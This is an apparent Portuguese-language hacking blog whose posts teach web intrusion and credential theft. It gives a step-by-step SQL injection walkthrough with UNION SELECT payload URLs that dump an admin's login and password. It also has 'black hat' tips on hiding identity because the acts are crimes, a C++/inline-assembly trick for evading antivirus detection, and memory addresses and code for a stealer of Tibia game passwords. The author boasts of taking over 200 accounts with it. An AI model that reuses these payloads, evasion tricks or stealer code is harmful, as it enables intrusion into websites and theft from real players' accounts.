domingo, 16 de maio de 2010
Invasão de sites
Existem muitas ferramentas na internet que te ajudam a explorar um site, entre elas está o WebGoat da OWASP, uma criação que não faz nada para você, mas ensina: http://code.google.com/p/webgoat/
Ferramentas de exploração de falhas e de outras informações:
w3af
netcat
nmap
nikto
DirBuster
WebScarab
Melhor navegador na minha opinião: Firefox
Addons muito bons (p/ firefox):
Live HTTP headers
FireBug
TamperData
Algum Cookie Editor a escolha.
Lembre-se que desse arsenal o mais importante para um iniciante é o WebGoat e também estudar um pouco sobre lógica de programação e transferência de dados.
~~
;D
terça-feira, 16 de março de 2010
SQL injection (SQLi) - Estudo inicial
Introdução
Um servidor de internet geralmente usa um banco de dados para guardar informações gerais (notícias, contas, produtos, ...) e esses dados são acessados através de uma Query String (que logo irei falar sobre) que geralmente é chamada por linguagens de programação interpretadas, a maioria das vezes por PHP (Hypertext Preprocessor) e ASP (Active Server Pages).
Enquanto essas linguagens são interpretadas, elas rodam em modo RAM, nesse tempo ela pode chamar uma Query String (que é o chamado SQL, Structured Query Language) que acessa o banco de dados presente na ROM, retornando valores referentes a pesquisa que a Query String especifica.
~~
Linguagem SQL
O banco de dados é estruturado como várias matrizes matemáticas, possuí tabelas, linhas e colunas.
A linguagem SQL é a que acessa esse banco de dados de modo estruturado. Exemplo de um código SQL:
Tabela_1
Coluna_1
a
b
Coluna_2
1
2
A tabela possuí as colunas e as colunas os valores, a sintaxe é a seguinte:
select Coluna_1 from Tabela_1Retorno: a,b
select Coluna_2 from Tabela_2Retorno: 1,2
select * from Tabela_2Retorno: a,b,1,2
select * from Tabela_2 where Coluna_1='a' or Coluna_2=1Tradução: Selecionar qualquer objeto da tabela caso o valor de Coluna_1 seja "a" (sem aspas) ou o valor de Coluna_2 seja 1.
Retorno: a,1
OR ("ou") é um dos operadores de condições, os outros são AND ("e") e NOT ("não"). Eles retornam valores verdadeiros e falsos.
Exemplo de uso do OR e AND:
- Nome da seu irmão: Fernando
- Nome da sua irmã: Ana
Se Nomedoirmão = 'Fernando' AND Nomedairmã = 'Ana' então
Nesse caso ele vai retornar Verdadeiro e Verdadeiro e o resultado geral vai ser Verdadeiro. Mas no próximo não:
Se Nomedoirmão = 'Fernando' AND Nomedairmã = 'Rafaela' então
Retorno: Verdadeiro AND Falso = Falso
Basta trocarmos o AND para OR que retornaremos Verdadeiro:
Se Nomedoirmão = 'Fernando' OR Nomedairmã = 'Rafaela' então
Retorno: Verdadeiro OR Falso = Verdadeiro
Tabela geral
V = Verdadeiro
F = Falso
V or V = V
V or F = V
F or F = F
V and V = V
V and F = F
F and F = F
not(V or V) = F
not(V or F) = F
not(F or F) = V
not(V and V) = F
not(V and F) = V
not(F and F) = V
No site da W3 tem vários tutoriais em inglês sobre SQL:
http://www.w3schools.com/sql/default.asp
~~
SQL injection
A arte de injetar códigos SQL começa na relação entre as linguagens de programação e a utilização de códigos SQL (Query String) na mesma.
Nesse tutorial iremos falar de uma simples injeção SQL em um site programado em PHP. Mas primeiro vamos entender como um site acessa o banco de dados por um exemplo:
www.site.com/noticia.php?id=1Exemplo acima quer dizer que o site acessa a notícia na posição 1 em uma determinada coluna de uma determinada tabela. Esse outro exemplo acessa a notícia na posição 2:
www.site.com/noticia.php?id=2É simples, funciona como algo parecido com isso:
select noticia from tabela_noticias where noticia_id = XEsse X você pode substituir pelo valor de id, no primeiro caso que eu apresentei o 1 e no segundo caso o 2.
www.site.com/noticia.php?id=6SQL:
select noticia from tabela_noticias where noticia_id = 6
Retorna a notícia para uma variável no PHP e imprime na tela.
Vamos entender como funciona dentro da linguagem PHP:
$noticia=$_GET['id'];Esse é um caso de código vulnerável, ele não elimina os caracteres especiais, como o ' (apóstrofo), fazendo com que o invasor possa executar outros comandos como ORDER e SELECT.
$query_string="select noticia from tabela_noticias where noticia_id = ".$noticia;
~~
Começando o ataque
Bom, depois de ficar falando sobre as estruturas e tudo, vamos começar com um exemplo simples, como, por exemplo, aquele que nós usamos:
$noticia=$_GET['id'];Site: www.site.com/notícia.php?id=...
$query_string="select noticia from tabela_noticias where noticia_id = ".$noticia;
Para verificar se ele é mesmo vulnerável, já que não iremos ter acesso ao código fonte do site, colocamos um apóstrofo no valor de id:
www.site.com/notícia.php?id='Ele retornará uma mensagem de erro SQL, pois a query não irá entender o que é ':
select noticia from tabela_noticias where noticia_id = 'Agora que sabemos que ela é vulnerável, vamos injetar códigos SQL, ex.:
www.site.com/notícia.php?id=1 order by 1,2,3,4,5,6,7,8,9--
ORDER = ordena as colunas e verifica quantas tem.
-- = Finaliza o código SQL.
Caso a tabela tabela_noticias tenha menos de 9 tabelas, ela retornará um erro. Caso ela tenha mais de 9 tabelas, ela não retornará nenhum erro, por isso vá almentando até conseguir saber quantas tabelas existem, ex.:
www.site.com/notícia.php?id=1 order by 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15--Imagine que eu use isso e ele retorne um erro assim: "Column 13 does not exists".
Então agora iremos arruma-la de acordo com o que diz:
www.site.com/notícia.php?id=1 order by 1,2,3,4,5,6,7,8,9,10,11,12--Agora usaremos o comando UNION que serve para unir todas as colunas e mostra-las no lugar do texto que deveria ser a notícia, além disso devemos mudar o valor da notícia para um na qual não exista notícia, geralmente usamos negativo:
www.site.com/notícia.php?id=-1 union select 1,2,3,4,5,6,7,8,9,10,11,12--Union select = unir a seleção.
Agora imagine que no site apareceu no lugar do titulo da notícia o valor 3 e no campo do texto o valor 4. Já que o texto provavelmente é maior, então usaremos ele para retornar todas as tabelas que existem no site:
www.site.com/notícia.php?id=-1 union select 1,2,3,group_concat(table_name),5,6,7,8,9,10,11,12 from information_schema.tables where 1=1--
information_schema.tables é uma tabela que guarda todas as tabelas existentes no site. concat é um comando que concatena (junta) textos. No campo de texto ele retorna todas tabelas existentes no banco de dados, caso você não queira que ele mostre todos, usaremos um comando assim:
www.site.com/notícia.php?id=-1 union select 1,2,3,concat(table_name),5,6,7,8,9,10,11,12 from information_schema.tables limit 2,1--Retorna 2ª tabela.
www.site.com/notícia.php?id=-1 union select 1,2,3,concat(table_name),5,6,7,8,9,10,11,12 from information_schema.tables limit 4,1--Retorna 4ª tabela.
Ou, para retornarmos só aquelas que começam com "a" (sem aspas), por exemplo, usaremos assim:
www.site.com/notícia.php?id=-1 union select 1,2,3,group_concat(table_name),5,6,7,8,9,10,11,12 from information_schema.tables where table_name like 'a%'--
Imagine que essa última retorne a tabela admin (que em português significa administrador), sendo assim usaremos nossas técnicas para pegar as colunas dela:
www.site.com/notícia.php?id=-1 union select 1,2,3,group_concat(table_schema,'.',column_name),5,6,7,8,9,10,11,12 from information_schema.columns where table_name='admin'--
information_schema.columns guarda nome de colunas e o esquema (um "sub-banco de dados" que guarda tabelas). O que esse vai fazer é retornar todas as colunas e esquemas ta tabela admin.
Digamos que ele retorne isso:
admin_schema.id,admin_schema.login,admin_schema.senhaO que isso quer dizer é que o admin_schema é o esquema da tabela e o id, login e senha são as colunas. Agora é muito simples continuar, vamos tentar retornar o valor login e senha da tabela admin:
1º de tudo) Juntamos o esquema com o nome da tabela: admin_schema.admin
Agora vamos injetar a query:
www.site.com/notícia.php?id=-1 union select 1,2,3,group_concat(logon,'.',senha),5,6,7,8,9,10,11,12 from admin_schema.admin where 1=1--Pronto, se retornar o login e senha do admin funcionou, ex.:
admin123.senha123No caso acima, o login do admin é "admin123" (sem aspas) e a senha do mesmo é "senha123" (sem aspas).
Agora procuramos pelo site de login do admin, geralmente são esses:
www.site.com/admin
www.site.com/admin.php
www.site.com/admin/admin
www.site.com/admin/admin.php
www.site.com/login
www.site.com/login.php
www.site.com/login/login
www.site.com/login/login.php
www.site.com/login/admin
www.site.com/login/admin.php
www.site.com/admin/login
www.site.com/admin/login.php
Caso você consiga, pode ser que exista um LOG das localizações dos diretórios principais do site no arquivo robots.txt:
www.site.com/robots.txt
~~
~~
~~
Bom, é isso pessoal, tomara que tenham gostado, até a próxima.
terça-feira, 9 de março de 2010
Dicas
Dicas para ser um bom hacker (black hat):
- Estude enquanto age, hacker não é cientista, não domina todo o conhecimento, ele vai obtendo a partir da prática.
- Em alguns casos suas ações podem ser consideradas crimes, então crie um apelido, uma máscara, para que possam identificá-lo sem mostrar seu nome verdadeiro.
- Não se age com soluções, e sim criasse soluções a partir da prática e lógica (Esse serve para aqueles que se chamam de hacker, mas na verdade agem a partir de soluções feitas por outros).
- A pirataria é um ato indispensável para um black hat. Além de que os que fazem pirataria geralmente são mais experientes (Pense nos cracker’s).
- Não se iluda com que os outros dizem, e sim iluda aquele que ilude (Ex.: Hackear um usuário simples não traz benefícios, agora hackear um hacker é o equivalente a 10000 usuários simples).
segunda-feira, 8 de março de 2010
Blog atualizado 08/03/2010
- Post's antigos deletados.
- Lista de blog's atualizada (blog's muito interessantes).
- Link's atualizados (recomendo todos eles).
Lembrando que se você quiser se tornar um seguidor, é só clicar no botão Seguir ao lado.
~~
Queria pedir desculpas pelo tempo de demora para postar, estou estudando, mas não é por isso a falta de tempo. O problema é que estou aprendendo a hackear e crackear, uma tarefa árdua.
Estou aprendendo sobre todos esses assuntos:
- Vulnerabilidades WEB (SQL, PHP e ASP injection).
- Vulnerabilidades Desktop Software (* Buffer Overflow, * Integer Overflow, Heap Overflow, DDOS, entre outros não menos importantes).
- Ataques WEB diferenciados.
- Cracking (Engenharia Reversa, também usada para descobrir vulnerabilidades de software desktop).
Logo após obter um certo nível em cada um, vou escrever tutoriais e posta-los no blog.
NÃO vou deixa-los na mão!
GonG4
quarta-feira, 13 de janeiro de 2010
Instruções invisíveis
Vou pegar uma linha de código em C++ detectável:
WSADATA WSA_Conn;O Antivirus detecta a chamada da API com os parâmetros, já que um deles é dinâmico ele precisa rodar o aplicativo.
WSAStartup (0x202, WSA_Conn);
Se formos transformar essa chamada em Asm, ficaria assim:
push WSA_Conn (offset)Para torna-lo indetectável, devemos passar qualquer falor para o registrador EAX e chama-lo, exemplo:
push 0x202
call WSAStartup (offset)
mov eax, WSA_Conn (offset)Agora é fácil, vou fazer um código indetectável no DevCpp:
push eax
push 0x202
mov eax, WSAStartup (offset)
call eax
Variáveis globais:
int RetornoWSAFunc;Linha de código:
int WSA_Conn_ASM;
WSADATA WSA_Conn;
HMODULE hMod = LoadLibrary("Ws2_32.dll");;D
if (hMod == NULL) { throw "ERRO"; }
RetornoWSAFunc = (int) GetProcAddress(hMod, "WSAStartup");
if (RetornoWSAFunc == 0) { throw "ERRO"; }
WSA_Conn_ASM = (int)&WSA_Conn;
__asm ("PUSHL _WSA_Conn_ASM");
__asm ("PUSHL $0x202");
__asm ("CALL *_RetornoWSAFunc");
__asm ("MOV _RetornoWSAFunc, %EAX");
if (RetornoWSAFunc == -1) { throw "ERRO"; }
GonG4
quinta-feira, 3 de dezembro de 2009
Tibia Stealer
Atualmente (03/12/2009, dd/mm/yyyy), o Tibia é um jogo muito popular no Brasil e em outras partes da Europa, sendo jogado por mais de 40.000 (quarenta mil) jogadores ao mesmo tempo.
Na sua versão atual (8.53), é fácil roubar a senha com um vírus, não precisa de um keylogger, mas de um stealer, um aplicativo que lê a string dentro do processo do jogo!
Endereços (memory addr): 792A24 (senha) e 792A44 (acc).
char value1[51];
char value2[51];
ReadProcessMemory(pphandle,(LPVOID)0x00792A24,&value1,50,NULL); // Pega
senha
ReadProcessMemory(pphandle,(LPVOID)0x00792A44,&value2,50,NULL); // Pega acc
~~
Agora é só fazer um sisteminha de envio de email e concatenação de string (value1 + value2), além da verificação das string's se elas forem NULL.
~~
Já peguei mais de 200 contas em 20 dias com esse tipo de programinha.
Edit 08/03/10 ~~
As instruções já estão sendo detectadas, para deixar indetectável, tente usar esse método: http://hepteam.blogspot.com/2010/01/resouvi-escrever-essa-postagem-porque.html
GonG4